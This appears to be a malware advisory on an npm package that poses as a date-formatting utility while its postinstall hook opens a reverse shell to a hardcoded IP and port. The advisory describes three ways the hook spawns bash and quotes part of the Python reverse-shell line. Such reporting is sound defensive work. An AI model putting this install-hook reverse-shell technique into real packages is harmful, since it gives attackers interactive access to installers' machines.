GCVE-110-OSM-2026-10509

The package advertises itself as a date-formatting utility but ships a postinstall.js that npm auto-executes on install via scripts.postinstall. postinstall.js opens a TCP connection to the hardcoded remote 8.135.48.40:4444 and wires /bin/bash stdio to that socket, giving the remote endpoint an interactive shell on the installer's machine. Three redundant methods are attempted (python3 pty.spawn, python3 subprocess, and Node net+child_process.spawn of '/bin/bash -i'). The index.js date-formatting code is a cover story unrelated to the postinstall payload. Judge assessment: This package is an install-time reverse shell delivered through `scripts.postinstall`, which means the attacker model is a supply-chain compromise of an npm install to gain remote interactive access to the victim machine. The `postinstall.js` entrypoint hardcodes `8.135.48.40:4444` and uses three separate methods to spawn `/bin/bash` over a TCP socket, including `pty.spawn`, `subprocess.call(["/bin/bash","-i"])`, and `net.connect` plus `child_process.spawn`. The benign-looking `index.js` date-formatting description is just a cover story; the real payload is in `postinstall.js`, which is executed automatically on install. The brand-new publisher account and lack of repository further reinforce that this is a malicious dropper rather than a normal utility. ENTRY postinstall.js (install-hook: node postinstall.js) - Install Hook Executes Local JS File in package.json EXFIL - Reverse Shell in postinstall.js: "socket.socket();s.connect(("${VPS}",${PORT}));[os.dup2(s.fileno(),f)for f in(0,1..." ADDITIONAL FINDINGS - Shell Command Execution in postinstall.js: "require('child_process')" - Brand New Package - Very New NPM Publisher Account PAYLOAD FILES postinstall.js